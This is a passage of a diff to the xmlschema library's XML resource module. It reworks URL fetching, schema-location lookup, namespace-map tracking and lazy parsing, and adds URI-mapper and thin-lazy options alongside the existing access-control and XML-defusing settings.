'(unknown)', '(invalid)', '(name)', '(string)', '(float)', '(decimal)', - '(integer)' -)) - -DRIVE_LETTERS = frozenset(string.ascii_letters) - - -class LazyXPath2Parser(XPath2Parser): - symbol_table = { - k: v for k, v in XPath2Parser.symbol_table.items() # type: ignore[misc] - if k in LAZY_XML_XPATH_SYMBOLS - } - SYMBOLS = LAZY_XML_XPATH_SYMBOLS - - -class LazySelector: - """A limited XPath selector class for lazy XML resources.""" - - def __init__(self, path: str, namespaces: Optional[NamespacesType] = None) -> None: - self.parser = LazyXPath2Parser(namespaces, strict=False) - self.path = path - self.root_token = self.parser.parse(path) - - def __repr__(self) -> str: - return '%s(path=%r)' % (self.__class__.__name__, self.path) - - def select(self, root: ElementProtocol, **kwargs: Any) -> List[ElementProtocol]: - context = XPathContext(root, **kwargs) - results = self.root_token.get_results(context) - if not isinstance(results, list) or any(not is_etree_element(x) for x in results): - msg = "XPath expressions on lazy resources can select only elements" - raise XMLResourceError(msg) - return results - - def iter_select(self, root: ElementProtocol, **kwargs: Any) -> Iterator[ElementProtocol]: - context = XPathContext(root, **kwargs) - for elem in self.root_token.select_results(context): - if not is_etree_element(elem): - msg = "XPath expressions on lazy resources can select only elements" - raise XMLResourceError(msg) - yield cast(ElementProtocol, elem) - - -### -# URL normalization (that fixes many headaches :) -class _PurePath(PurePath): - """ - A version of pathlib.PurePath adapted for managing the creation - from URIs and the simple normalization of paths. - """ - _from_parts: Any - _flavour: Any - - def __new__(cls, *args: str) -> '_PurePath': - if cls is _PurePath: - cls = _PureWindowsPath if os.name == 'nt' else _PurePosixPath - return cast('_PurePath', cls._from_parts(args)) - - @classmethod - def from_uri(cls, uri: str) -> '_PurePath': - uri = uri.strip() - if not uri: - raise XMLSchemaValueError("Empty URI provided!") - - if uri.startswith(r'\\'): - return _PureWindowsPath(uri) # UNC path - elif uri.startswith('/'): - return cls(uri) - - parts = urlsplit(uri) - if not parts.scheme: - return cls(uri) - elif parts.scheme in DRIVE_LETTERS and len(parts.scheme) == 1: - return _PureWindowsPath(uri) # Eg. k:/Python/lib/.... - elif parts.scheme != 'file': - return _PurePosixPath(unquote(parts.path)) - - # Get file URI path because urlsplit does not parse it well - start = 7 if uri.startswith('file:///') else 5 - if parts.query: - path = uri[start:uri.index('?')] - elif parts.fragment: - path = uri[start:uri.index('#')] - else: - path = uri[start:] - - if ':' in path: - # Windows path with a drive - pos = path.index(':') - if pos == 2 and path[0] == '/' and path[1] in DRIVE_LETTERS: - return _PureWindowsPath(unquote(path[1:])) - - obj = _PureWindowsPath(unquote(path)) - if len(obj.drive) != 2 or obj.drive[1] != ':': - raise XMLSchemaValueError("Invalid URI {!r}".format(uri)) - return obj - - if '\\' in path: - return _PureWindowsPath(unquote(path)) - return cls(unquote(path)) - - def as_uri(self) -> str: - if not self.is_absolute(): - uri: str = self._flavour.make_uri(self) - while uri.startswith('file:/'): - uri = uri.replace('file:/', 'file:', 1) - return uri - - uri = cast(str, self._flavour.make_uri(self)) - if isinstance(self, _PureWindowsPath) and str(self).startswith(r'\\'): - # UNC format case: use the format where the host part is included - # in the path part, to let urlopen() works. - if not uri.startswith('file:////'): - return uri.replace('file://', 'file:////') - return uri - - def normalize(self) -> '_PurePath': - normalized_path = self._flavour.pathmod.normpath(str(self)) - return cast('_PurePath', self._from_parts((normalized_path,))) - - -class _PurePosixPath(_PurePath, PurePosixPath): - __slots__ = () - - -class _PureWindowsPath(_PurePath, PureWindowsPath): - __slots__ = () - - -def normalize_url(url: str, base_url: Optional[str] = None, - keep_relative: bool = False) -> str: - """ - Returns a normalized URL eventually joining it to a base URL if it's a relative path. - Path names are converted to 'file' scheme URLs. - - :param url: a relative or absolute URL. - :param base_url: a reference base URL. - :param keep_relative: if set to `True` keeps relative file paths, which would \ - not strictly conformant to specification (RFC 8089), because *urlopen()* doesn't \ - accept a simple pathname. - :return: a normalized URL string. - """ - url_parts = urlsplit(url) - if not is_local_scheme(url_parts.scheme): - return url_parts.geturl() - - path = _PurePath.from_uri(url) - if path.is_absolute(): - return path.normalize().as_uri() - - if base_url is not None: - base_url_parts = urlsplit(base_url) - base_path = _PurePath.from_uri(base_url) - if is_local_scheme(base_url_parts.scheme): - path = base_path.joinpath(path) - elif not url_parts.scheme: - path = base_path.joinpath(path).normalize() - return urlunsplit(( - base_url_parts.scheme, - base_url_parts.netloc, - quote_from_bytes(bytes(path)), - url_parts.query, - url_parts.fragment - )) - - if path.is_absolute() or keep_relative: - return path.normalize().as_uri() - - base_path = _PurePath(os.getcwd()) - return base_path.joinpath(path).normalize().as_uri() - - -### -# Internal helper functions - -def is_local_scheme(scheme: str) -> bool: - return not scheme or scheme == 'file' or scheme in DRIVE_LETTERS - - -def is_url(obj: object) -> bool: - """Returns `True` if the provided object is an URL, `False` otherwise.""" - if isinstance(obj, str): - if '\n' in obj or obj.lstrip().startswith('<'): - return False - try: - urlsplit(obj.strip()) - except ValueError: - return False - elif isinstance(obj, bytes): - if b'\n' in obj or obj.lstrip().startswith(b'<'): - return False - try: - urlsplit(obj.strip()) - except ValueError: - return False - else: - return isinstance(obj, Path) - - return True - - -def is_remote_url(obj: object) -> bool: - if isinstance(obj, str): - if '\n' in obj or obj.lstrip().startswith('<'): - return False - try: - return not is_local_scheme(urlsplit(obj.strip()).scheme) - except ValueError: - return False - - elif isinstance(obj, bytes): - if b'\n' in obj or obj.lstrip().startswith(b'<'): - return False - try: - return not is_local_scheme(urlsplit(obj.strip().decode('utf-8')).scheme) - except ValueError: - return False - else: - return False - - -def is_local_url(obj: object) -> bool: - if isinstance(obj, str): - if '\n' in obj or obj.lstrip().startswith('<'): - return False - try: - return is_local_scheme(urlsplit(obj.strip()).scheme) - except ValueError: - return False - - elif isinstance(obj, bytes): - if b'\n' in obj or obj.lstrip().startswith(b'<'): - return False - try: - return is_local_scheme(urlsplit(obj.strip().decode('utf-8')).scheme) - except ValueError: - return False - else: - return isinstance(obj, Path) - - -def url_path_is_file(url: str) -> bool: - if not is_local_url(url): - return False - if os.path.isfile(url): - return True - path = unquote(urlsplit(normalize_url(url)).path) - if path.startswith('/') and platform.system() == 'Windows': - path = path[1:] - return os.path.isfile(path) - - -### -# API for XML resources - -def normalize_locations(locations: LocationsType, - base_url: Optional[str] = None, - keep_relative: bool = False) -> NormalizedLocationsType: - """ - Returns a list of normalized locations. The locations are normalized using - the base URL of the instance. - - :param locations: a dictionary or a list of couples containing namespace location hints. - :param base_url: the reference base URL for construct the normalized URL from the argument. - :param keep_relative: if set to `True` keeps relative file paths, which would not strictly \ - conformant to URL format specification. - :return: a list of couples containing normalized namespace location hints. - """ - normalized_locations = [] - if isinstance(locations, dict): - for ns, value in locations.items(): - if isinstance(value, list): - normalized_locations.extend( - [(ns, normalize_url(url, base_url, keep_relative)) for url in value] - ) - else: - normalized_locations.append((ns, normalize_url(value, base_url, keep_relative))) - else: - normalized_locations.extend( - [(ns, normalize_url(url, base_url, keep_relative)) for ns, url in locations] - ) - return normalized_locations +ResourceNodeType = Union[ElementNode, LazyElementNode, DocumentNode] def fetch_resource(location: str, base_url: Optional[str] = None, timeout: int = 30) -> str: """ - Fetch a resource by trying to access it. If the resource is accessible - returns its URL, otherwise raises an :class:`XMLResourceError`. + Fetches a resource by trying to access it. If the resource is accessible + returns its normalized URL, otherwise raises an `urllib.error.URLError`. - :param location: an URL or a file path. + :param location: a URL or a file path. :param base_url: reference base URL for normalizing local and relative URLs. :param timeout: the timeout in seconds for the connection attempt in case of remote data. :return: a normalized URL. """ if not location: - raise XMLSchemaValueError("'location' argument must contain a not empty string") + raise XMLSchemaValueError("the 'location' argument must contain a not empty string") url = normalize_url(location, base_url) try: with urlopen(url, timeout=timeout): return url - except URLError as err: - # fallback joining the path without a base URL - alt_url = normalize_url(location) - if url == alt_url: - raise XMLResourceError("cannot access to resource %r: %s" % (url, err.reason)) - - try: + except URLError: + if url == normalize_url(location): + raise + else: + # fallback using the location without a base URL + alt_url = normalize_url(location) with urlopen(alt_url, timeout=timeout): return alt_url - except URLError: - raise XMLResourceError("cannot access to resource %r: %s" % (url, err.reason)) def fetch_schema_locations(source: Union['XMLResource', XMLSourceType], @@ -358,42 +76,50 @@ def fetch_schema_locations(source: Union['XMLResource', XMLSourceType], base_url: Optional[str] = None, allow: str = 'all', defuse: str = 'remote', - timeout: int = 30) -> Tuple[str, NormalizedLocationsType]: + timeout: int = 30, + uri_mapper: Optional[UriMapperType] = None, + root_only: bool = True) -> Tuple[str, NormalizedLocationsType]: """ Fetches schema location hints from an XML data source and a list of location hints. If an accessible schema location is not found raises a ValueError. :param source: can be an :class:`XMLResource` instance, a file-like object a path \ - to a file or an URI of a resource or an Element instance or an ElementTree instance or \ + to a file or a URI of a resource or an Element instance or an ElementTree instance or \ a string containing the XML data. If the passed argument is not an :class:`XMLResource` \ instance a new one is built using this and *defuse*, *timeout* and *lazy* arguments. :param locations: a dictionary or dictionary items with additional schema location hints. :param base_url: the same argument of the :class:`XMLResource`. - :param allow: the same argument of the :class:`XMLResource`. + :param allow: the same argument of the :class:`XMLResource`, \ + applied to location hints only. :param defuse: the same argument of the :class:`XMLResource`. :param timeout: the same argument of the :class:`XMLResource` but with a reduced default. + :param uri_mapper: an optional argument for building the schema from location hints. + :param root_only: if `True` extracts from the XML source only the location hints \ + of the root element. :return: A 2-tuple with the URL referring to the first reachable schema resource \ and a list of dictionary items with normalized location hints. """ if not isinstance(source, XMLResource): - resource = XMLResource(source, base_url, allow, defuse, timeout, lazy=True) + resource = XMLResource(source, base_url, defuse=defuse, timeout=timeout, lazy=True) else: resource = source - base_url = resource.base_url - namespace = resource.namespace - locations = resource.get_locations(locations, root_only=False) + locations = resource.get_locations(locations, root_only=root_only) if not locations: - msg = "{!r} does not contain any schema location hint" - raise XMLSchemaValueError(msg.format(source)) + raise XMLSchemaValueError("provided arguments don't contain any schema location hint") - for ns, url in sorted(locations, key=lambda x: x[0] != namespace): + namespace = resource.namespace + for ns, location in sorted(locations, key=lambda x: x[0] != namespace): try: - return fetch_resource(url, base_url, timeout), locations - except XMLResourceError: - pass + resource = XMLResource(location, base_url, allow, defuse, timeout, + lazy=True, uri_mapper=uri_mapper) + except (XMLResourceError, URLError, ElementTree.ParseError): + continue - raise XMLSchemaValueError("not found a schema for XML data resource {!r}.".format(source)) + if resource.namespace == XSD_NAMESPACE and resource.url: + return resource.url, locations + else: + raise XMLSchemaValueError("not found a schema for provided XML source") def fetch_schema(source: Union['XMLResource', XMLSourceType], @@ -401,19 +127,23 @@ def fetch_schema(source: Union['XMLResource', XMLSourceType], base_url: Optional[str] = None, allow: str = 'all', defuse: str = 'remote', - timeout: int = 30) -> str: + timeout: int = 30, + uri_mapper: Optional[UriMapperType] = None, + root_only: bool = True) -> str: """ - Like :meth:`fetch_schema_locations` but returns only a reachable - location hint for a schema related to the source's namespace. + Like :meth:`fetch_schema_locations` but returns only the URL of a loadable XSD + schema from location hints fetched from the source or provided by argument. """ - return fetch_schema_locations(source, locations, base_url, allow, defuse, timeout)[0] + return fetch_schema_locations(source, locations, base_url, allow, + defuse, timeout, uri_mapper, root_only)[0] def fetch_namespaces(source: XMLSourceType, base_url: Optional[str] = None, allow: str = 'all', defuse: str = 'remote', - timeout: int = 30) -> NamespacesType: + timeout: int = 30, + root_only: bool = False) -> NamespacesType: """ Fetches namespaces information from the XML data source. The argument *source* can be a string containing the XML document or file path or an url or a file-like @@ -421,24 +151,24 @@ def fetch_namespaces(source: XMLSourceType, namespace mappings is returned. """ resource = XMLResource(source, base_url, allow, defuse, timeout, lazy=True) - return resource.get_namespaces(root_only=False) + return resource.get_namespaces(root_only=root_only) class XMLResource: """ XML resource reader based on ElementTree and urllib. - :param source: a string containing the XML document or file path or an URL or a \ + :param source: a string containing the XML document or file path or a URL or a \ file like object or an ElementTree or an Element. :param base_url: is an optional base URL, used for the normalization of relative paths \ when the URL of the resource can't be obtained from the source argument. For security \ - access to a local file resource is always denied if the *base_url* is a remote URL. + the access to a local file resource is always denied if the *base_url* is a remote URL. :param allow: defines the security mode for accessing resource locations. Can be \ - 'all', 'remote', 'local', 'sandbox' or 'none'. Default is 'all' that means all types of \ - URLs are allowed. With 'remote' only remote resource URLs are allowed. With 'local' \ + 'all', 'remote', 'local', 'sandbox' or 'none'. Default is 'all', which means all types \ + of URLs are allowed. With 'remote' only remote resource URLs are allowed. With 'local' \ only file paths and URLs are allowed. With 'sandbox' only file paths and URLs that \ are under the directory path identified by the *base_url* argument are allowed. \ - If you provide 'none' no located resource is allowed. + If you provide 'none', no resources will be allowed from any location. :param defuse: defines when to defuse XML data using a `SafeXMLParser`. Can be \ 'always', 'remote', 'nonlocal' or 'never'. For default defuses only remote XML data. \ With 'always' all the XML data that is not already parsed is defused. With 'nonlocal' \ @@ -449,11 +179,19 @@ class XMLResource: except in case the *source* argument is an Element or an ElementTree instance. A \ positive integer also defines the depth at which the lazy resource can be better \ iterated (`True` means 1). + :param thin_lazy: for default, in order to reduce the memory usage, during the \ + iteration of a lazy resource at *lazy_depth* level, deletes also the preceding \ + elements after the use. + :param uri_mapper: an optional URI mapper for using relocated or URN-addressed \ + resources. Can be a dictionary or a function that takes the URI string and returns \ + a URL, or the argument if there is no mapping for it. """ # Protected attributes for data and resource location _source: XMLSourceType _root: ElementType - _nsmap: Dict[ElementType, List[Tuple[str, str]]] + _xpath_root: Union[None, ElementNode, DocumentNode] = None + _nsmaps: Dict[ElementType, Dict[str, str]] + _xmlns: Dict[ElementType, List[Tuple[str, str]]] _text: Optional[str] = None _url: Optional[str] = None _base_url: Optional[str] = None @@ -465,49 +203,58 @@ def __init__(self, source: XMLSourceType, allow: str = 'all', defuse: str = 'remote', timeout: int = 300, - lazy: Union[bool, int] = False) -> None: + lazy: Union[bool, int] = False, + thin_lazy: bool = True, + uri_mapper: Optional[UriMapperType] = None) -> None: - if isinstance(base_url, str): + if isinstance(base_url, (str, bytes)): if not is_url(base_url): raise XMLSchemaValueError("'base_url' argument is not an URL") - self._base_url = base_url + self._base_url = base_url if isinstance(base_url, str) else base_url.decode() elif isinstance(base_url, Path): self._base_url = str(base_url) - elif isinstance(base_url, bytes): - if not is_url(base_url): - raise XMLSchemaValueError("'base_url' argument is not an URL") - self._base_url = base_url.decode() elif base_url is not None: - msg = "invalid type {!r} for argument 'base_url'" - raise XMLSchemaTypeError(msg.format(type(base_url))) + msg = "invalid type %r for argument 'base_url'" + raise XMLSchemaTypeError(msg % type(base_url)) if not isinstance(allow, str): - msg = "invalid type {!r} for argument 'allow'" - raise XMLSchemaTypeError(msg.format(type(allow))) + msg = "invalid type %r for argument 'allow'" + raise XMLSchemaTypeError(msg % type(allow)) elif allow not in SECURITY_MODES: - msg = "'allow' argument: {!r} is not a security mode" - raise XMLSchemaValueError(msg.format(allow)) + msg = "'allow' argument: %r is not a security mode" + raise XMLSchemaValueError(msg % allow) elif allow == 'sandbox' and self._base_url is None: msg = "block access to files out of sandbox requires 'base_url' to be set" raise XMLResourceError(msg) self._allow = allow if not isinstance(defuse, str): - msg = "invalid type {!r} for argument 'defuse'" - raise XMLSchemaTypeError(msg.format(type(defuse))) + msg = "invalid type %r for argument 'defuse'" + raise XMLSchemaTypeError(msg % type(defuse)) elif defuse not in DEFUSE_MODES: - msg = "'defuse' argument: {!r} is not a defuse mode" - raise XMLSchemaValueError(msg.format(defuse)) + msg = "'defuse' argument: %r is not a defuse mode" + raise XMLSchemaValueError(msg % defuse) self._defuse = defuse if not isinstance(timeout, int): - msg = "invalid type {!r} for argument 'timeout'" - raise XMLSchemaTypeError(msg.format(type(timeout))) + msg = "invalid type %r for argument 'timeout'" + raise XMLSchemaTypeError(msg % type(timeout)) elif timeout <= 0: msg = "the argument 'timeout' must be a positive integer" raise XMLSchemaValueError(msg) self._timeout = timeout + if not isinstance(thin_lazy, bool): + msg = "invalid type %r for argument 'thin_lazy'" + raise XMLSchemaTypeError(msg % type(thin_lazy)) + self._thin_lazy = thin_lazy + + if uri_mapper is not None and not callable(uri_mapper) \ + and not isinstance(uri_mapper, MutableMapping): + msg = "invalid type %r for argument 'uri_mapper'" + raise XMLSchemaTypeError(msg % type(uri_mapper)) + self._uri_mapper = uri_mapper + self.parse(source, lazy) def __repr__(self) -> str: @@ -533,7 +280,7 @@ def name(self) -> Optional[str]: """ The source name, is `None` if the instance is created from an Element or a string. """ - return None if self._url is None else os.path.basename(self._url) + return None if self._url is None else os.path.basename(unquote(self._url)) @property def url(self) -> Optional[str]: @@ -555,7 +302,7 @@ def filepath(self) -> Optional[str]: if self._url: url_parts = urlsplit(self._url) if url_parts.scheme in ('', 'file'): - return url_parts.path + return str(LocationPath.from_uri(self._url)) return None @property @@ -573,59 +320,127 @@ def timeout(self) -> int: """The timeout in seconds for accessing remote resources.""" return self._timeout + @property + def uri_mapper(self) -> Optional[UriMapperType]: + """The optional URI mapper argument for relocating addressed resources.""" + return self._uri_mapper + + @property + def lazy_depth(self) -> int: + """ + The depth at which the XML tree of the resource is fully loaded during iterations + methods. Is a positive integer for lazy resources and 0 for fully loaded XML trees. + """ + return int(self._lazy) + + @property + def namespace(self) -> str: + """The namespace of the XML resource.""" + return get_namespace(self._root.tag) + + @property + def parent_map(self) -> Dict[ElementType, Optional[ElementType]]: + if self._lazy: + raise XMLResourceError("cannot create the parent map of a lazy XML resource") + if self._parent_map is None: + self._parent_map = {child: elem for elem in self._root.iter() for child in elem} + self._parent_map[self._root] = None + return self._parent_map + + @property + def xpath_root(self) -> Union[ElementNode, DocumentNode]: + """The XPath root node.""" + if self._xpath_root is None: + if hasattr(self._root, 'xpath'): + self._xpath_root = build_lxml_node_tree(cast(LxmlElementProtocol, self._root)) + else: + try: + _nsmap = self._nsmaps[self._root] + except KeyError: + # A resource based on an ElementTree structure (no namespace maps) + self._xpath_root = build_node_tree(self._root) + else: + node_tree = build_node_tree(self._root, _nsmap) + + # Update namespace maps + for node in node_tree.iter_descendants(with_self=False): + if isinstance(node, ElementNode) and hasattr(node, 'elem'): + nsmap = self._nsmaps[cast(ElementType, node.elem)] + node.nsmap = {k or '': v for k, v in nsmap.items()} + + self._xpath_root = node_tree + + return self._xpath_root + + def is_lazy(self) -> bool: + """Returns `True` if the XML resource is lazy.""" + return bool(self._lazy) + + def is_thin(self) -> bool: + """Returns `True` if the XML resource is lazy and thin.""" + return bool(self._lazy) and self._thin_lazy + + def is_remote(self) -> bool: + """Returns `True` if the resource is related with remote XML data.""" + return is_remote_url(self._url) + + def is_local(self) -> bool: + """Returns `True` if the resource is related with local XML data.""" + return is_local_url(self._url) + + def is_loaded(self) -> bool: + """Returns `True` if the XML text of the data source is loaded.""" + return self._text is not None + def _access_control(self, url: str) -> None: if self._allow == 'all': return elif self._allow == 'none': - raise XMLResourceError("block access to resource {}".format(url)) + raise XMLResourceError(f"block access to resource {url}") elif self._allow == 'remote': if is_local_url(url): - raise XMLResourceError("block access to local resource {}".format(url)) + raise XMLResourceError(f"block access to local resource {url}") elif is_remote_url(url): - raise XMLResourceError("block access to remote resource {}".format(url)) + raise XMLResourceError(f"block access to remote resource {url}") elif self._allow == 'sandbox' and self._base_url is not None: if not url.startswith(normalize_url(self._base_url)): - raise XMLResourceError("block access to out of sandbox file {}".format(url)) - - def _update_nsmap(self, nsmap: MutableMapping[str, str], prefix: str, uri: str) -> None: - if not prefix: - if not uri: - return - elif '' not in nsmap: - if self.namespace: - nsmap[prefix] = uri - return - elif nsmap[''] == uri: - return - prefix = 'default' - - while prefix in nsmap: - if nsmap[prefix] == uri: - return - match = re.search(r'(\d+)$', prefix) - if match: - index = int(match.group()) + 1 - prefix = prefix[:match.span()[0]] + str(index) - else: - prefix += '0' - nsmap[prefix] = uri + raise XMLResourceError(f"block access to out of sandbox file {url}") + + def _lazy_clear(self, elem: ElementType, + ancestors: Optional[List[ElementType]] = None) -> None: + + if ancestors and self._thin_lazy: + # Delete preceding elements + for parent, child in zip_longest(ancestors, ancestors[1:]): + if child is None: + child = elem + + for k, e in enumerate(parent): + if child is not e: + if e in self._xmlns: + del self._xmlns[e] + del self._nsmaps[e] + else: + if k: + del parent[:k] + break - def _lazy_iterparse(self, resource: IO[AnyStr], nsmap: Optional[NsmapType] = None) \ - -> Iterator[Tuple[str, ElementType]]: - events: Tuple[str, ...] - _nsmap: List[Tuple[str, str]] + for e in elem.iter(): + if elem is not e: + if e in self._xmlns: + del self._xmlns[e] + del self._nsmaps[e] - if nsmap is None: - events = 'start', 'end' - _nsmap = [] - else: - events = 'start-ns', 'end-ns', 'start', 'end' - if isinstance(nsmap, list): - _nsmap = nsmap - _nsmap.clear() - else: - _nsmap = [] + del elem[:] # delete children, keep attributes, text and tail. + + # reset the whole XPath tree to let it still usable if other + # children are added to the root by ElementTree.iterparse(). + self.xpath_root.children.clear() + + def _lazy_iterparse(self, resource: IO[AnyStr]) -> Iterator[Tuple[str, ElementType]]: + events: Tuple[str, ...] + events = 'start-ns', 'end-ns', 'start', 'end' if self._defuse == 'remote' and is_remote_url(self.base_url) \ or self._defuse == 'nonlocal' and not is_local_url(self.base_url) \ or self._defuse == 'always': @@ -635,34 +450,68 @@ def _lazy_iterparse(self, resource: IO[AnyStr], nsmap: Optional[NsmapType] = Non tree_iterator = ElementTree.iterparse(resource, events) root_started = False - nsmap_update = False + start_ns: List[Tuple[str, str]] = [] + end_ns = False + nsmap_stack: List[Dict[str, str]] = [{}] + + # Save previous status (if any) + _root: Optional[ElementType] + _nsmaps: Optional[Dict[ElementType, Dict[str, str]]] + _ns_declarations: Optional[Dict[ElementType, List[Tuple[str, str]]]] + if hasattr(self, '_root'): + _root = self._root + _nsmaps = self._nsmaps + _ns_declarations = self._xmlns + _xpath_root = self._xpath_root + else: + _root = _nsmaps = _ns_declarations = _xpath_root = None - _root = cast(Optional[ElementType], getattr(self, '_root', None)) + self._nsmaps = {} + self._xmlns = {} try: for event, node in tree_iterator: if event == 'start': + if end_ns: + nsmap_stack.pop() + end_ns = False + + if start_ns: + nsmap_stack.append(nsmap_stack[-1].copy()) + nsmap_stack[-1].update(start_ns) + self._xmlns[node] = start_ns + start_ns = [] + + self._nsmaps[node] = nsmap_stack[-1] if not root_started: self._root = node + self._xpath_root = LazyElementNode( + self._root, nsmap=self._nsmaps[node] + ) root_started = True - if nsmap_update and isinstance(nsmap, dict): - for prefix, uri in _nsmap: - self._update_nsmap(nsmap, prefix, uri) - nsmap_update = False + yield event, node elif event == 'end': + if end_ns: + nsmap_stack.pop() + end_ns = False + yield event, node - elif nsmap is not None: - if event == 'start-ns': - _nsmap.append(node) - else: - _nsmap.pop() - nsmap_update = isinstance(nsmap, dict) + + elif event == 'start-ns': + start_ns.append(node) + else: + end_ns = True except Exception as err: - if _root is not None: + if _root is not None \ + and _nsmaps is not None \ + and _ns_declarations is not None: self._root = _root + self._nsmaps = _nsmaps + self._xmlns = _ns_declarations + self._xpath_root = _xpath_root if isinstance(err, PyElementTree.ParseError): raise ElementTree.ParseError(str(err)) from None raise @@ -688,30 +537,37 @@ def _parse(self, resource: IO[AnyStr]) -> None: else: resource.seek(0) - elem: Optional[ElementType] = None - nsmap: List[Tuple[str, str]] = [] - nsmap_changed = False - namespaces = {} - events = 'start-ns', 'end-ns', 'end' + root: Optional[ElementType] = None + start_ns: List[Tuple[str, str]] = [] + end_ns = False + nsmaps: Dict[ElementType, Dict[str, str]] = {} + ns_declarations: Dict[ElementType, List[Tuple[str, str]]] = {} + events = 'start-ns', 'end-ns', 'start' + nsmap_stack: List[Dict[str, str]] = [{}] for event, node in ElementTree.iterparse(resource, events): - if event == 'end': - if nsmap_changed or elem is None: - namespaces[node] = nsmap[:] - nsmap_changed = False - else: - namespaces[node] = namespaces[elem] - elem = node + if event == 'start': + if root is None: + root = node + if end_ns: + nsmap_stack.pop() + end_ns = False + if start_ns: + nsmap_stack.append(nsmap_stack[-1].copy()) + nsmap_stack[-1].update(start_ns) + ns_declarations[node] = start_ns + start_ns = [] + nsmaps[node] = nsmap_stack[-1] elif event == 'start-ns': - nsmap.append(node) - nsmap_changed = True + start_ns.append(node) else: - nsmap.pop() - nsmap_changed = True + end_ns = True - assert elem is not None - self._root = elem - self._nsmap = namespaces + assert root is not None + self._root = root + self._xpath_root = None + self._nsmaps = nsmaps + self._xmlns = ns_declarations def _parse_resource(self, resource: IO[AnyStr], url: Optional[str], @@ -721,30 +577,38 @@ def _parse_resource(self, resource: IO[AnyStr], if not lazy: self._parse(resource) else: - nsmap: List[Tuple[str, str]] = [] - for _, root in self._lazy_iterparse(resource, nsmap): # pragma: no cover - self._nsmap = {root: nsmap} + for _, root in self._lazy_iterparse(resource): # pragma: no cover break except Exception: self._url = _url raise + def _get_parsed_url(self, url: str) -> str: + if isinstance(self._uri_mapper, MutableMapping): + if url in self._uri_mapper: + url = self._uri_mapper[url] + elif callable(self._uri_mapper): + url = self._uri_mapper(url) + + url = normalize_url(url, self._base_url) + self._access_control(url) + return url + def parse(self, source: XMLSourceType, lazy: Union[bool, int] = False) -> None: if isinstance(lazy, bool): pass elif not isinstance(lazy, int): - msg = "invalid type {!r} for the attribute 'lazy'" - raise XMLSchemaTypeError(msg.format(type(lazy))) + msg = "invalid type %r for the attribute 'lazy'" + raise XMLSchemaTypeError(msg % type(lazy)) elif lazy < 0: - msg = "invalid value {!r} for the attribute 'lazy'" - raise XMLSchemaValueError(msg.format(lazy)) + msg = "invalid value %r for the attribute 'lazy'" + raise XMLSchemaValueError(msg % lazy) url: Optional[str] if isinstance(source, str): if is_url(source): - # source is a string containing an URL or a file path - url = normalize_url(source, self._base_url) - self._access_control(url) + # source is a string containing a URL or a file path + url = self._get_parsed_url(source.strip()) with urlopen(url, timeout=self._timeout) as resource: self._parse_resource(resource, url, lazy) @@ -760,8 +624,8 @@ def parse(self, source: XMLSourceType, lazy: Union[bool, int] = False) -> None: elif isinstance(source, bytes): if is_url(source): - url = normalize_url(source.decode(), self._base_url) - self._access_control(url) + # source is a byte-string containing a URL or a file path + url = self._get_parsed_url(source.decode().strip()) with urlopen(url, timeout=self._timeout) as resource: self._parse_resource(resource, url, lazy) @@ -776,8 +640,7 @@ def parse(self, source: XMLSourceType, lazy: Union[bool, int] = False) -> None: self._lazy = False elif isinstance(source, Path): - url = normalize_url(str(source), self._base_url) - self._access_control(url) + url = self._get_parsed_url(str(source)) with urlopen(url, timeout=self._timeout) as resource: self._parse_resource(resource, url, lazy) @@ -805,13 +668,13 @@ def parse(self, source: XMLSourceType, lazy: Union[bool, int] = False) -> None: self._lazy = lazy else: - # Source is already an Element or an ElementTree. + # source is an Element or an ElementTree if hasattr(source, 'tag') and hasattr(source, 'attrib'): # Source is already an Element --> nothing to parse self._root = cast(ElementType, source) elif is_etree_document(source): # Could be only an ElementTree object at last - self._root = cast(ElementTreeType, source).getroot() + self._root = source.getroot() else: raise XMLSchemaTypeError( "wrong type %r for 'source' attribute: an ElementTree object or " @@ -819,58 +682,86 @@ def parse(self, source: XMLSourceType, lazy: Union[bool, int] = False) -> None: "or a file-like object is required." % type(source) ) + self._xpath_root = None self._text = self._url = None self._lazy = False - self._nsmap = {} + self._nsmaps = {} + self._xmlns = {} - # TODO for Python 3.8+: need a Protocol for checking this with isinstance() - if hasattr(self._root, 'nsmap'): - nsmap = [] + if hasattr(self._root, 'xpath'): + nsmap = {} lxml_nsmap = None for elem in cast(Any, self._root.iter()): + if callable(elem.tag): + self._nsmaps[elem] = {} + continue + if lxml_nsmap != elem.nsmap: + nsmap = {k or '': v for k, v in elem.nsmap.items()} lxml_nsmap = elem.nsmap - nsmap = [(k or '', v) for k, v in elem.nsmap.items()] - self._nsmap[elem] = nsmap + + parent = elem.getparent() + if parent is None: + ns_declarations = [(k or '', v) for k, v in nsmap.items()] + elif parent.nsmap != elem.nsmap: + ns_declarations = [(k or '', v) for k, v in elem.nsmap.items() + if k not in parent.nsmap or v != parent.nsmap[k]] + else: + ns_declarations = None + + self._nsmaps[elem] = nsmap + if ns_declarations: + self._xmlns[elem] = ns_declarations self._parent_map = None self._source = source - @property - def namespace(self) -> str: - """The namespace of the XML resource.""" - return '' if self._root is None else get_namespace(self._root.tag) - - @property - def parent_map(self) -> Dict[ElementType, Optional[ElementType]]: - if self._lazy: - raise XMLResourceError("cannot create the parent map of a lazy resource") - if self._parent_map is None: - assert self._root is not None - self._parent_map = {child: elem for elem in self._root.iter() for child in elem} - self._parent_map[self._root] = None - return self._parent_map + def get_xpath_node(self, elem: ElementType, + namespaces: Optional[NamespacesType] = None) -> ElementNode: + """ + Returns an XPath node for the element, fetching it from the XPath root node. + Returns a new lazy element node if the matching element node is not found. + """ + if elem in self._nsmaps: + xpath_node = self.xpath_root.get_element_node(elem) + if xpath_node is not None: + return xpath_node + return LazyElementNode(elem, nsmap=self._nsmaps[elem]) + elif not namespaces: + xpath_node = self.xpath_root.get_element_node(elem) + if xpath_node is not None: + return xpath_node + return LazyElementNode(elem) + else: + return LazyElementNode(elem, nsmap=namespaces) - def get_nsmap(self, elem: ElementType) -> List[Tuple[str, str]]: + def get_nsmap(self, elem: ElementType) -> Optional[Dict[str, str]]: """ - Returns a list of couples with the namespace (nsmap) map of the element. - Lazy resources have only a nsmap for the root element. If no nsmap is - found for the element returns an empty list. + Returns the namespace map (nsmap) of the element. Returns `None` if no nsmap is + found for the element. Lazy resources have only the nsmap for the root element. """ try: - return self._nsmap[elem] + return self._nsmaps[elem] except KeyError: - return [] + return getattr(elem, 'nsmap', None) # an lxml element + + def get_xmlns(self, elem: ElementType) -> Optional[List[Tuple[str, str]]]: + """ + Returns the list of namespaces declarations (xmlns and xmlns:<prefix> attributes) + of the element. Returns `None` if the element doesn't have namespace declarations. + Lazy resources have only the namespace declarations for the root element. + """ + return self._xmlns.get(elem) def get_absolute_path(self, path: 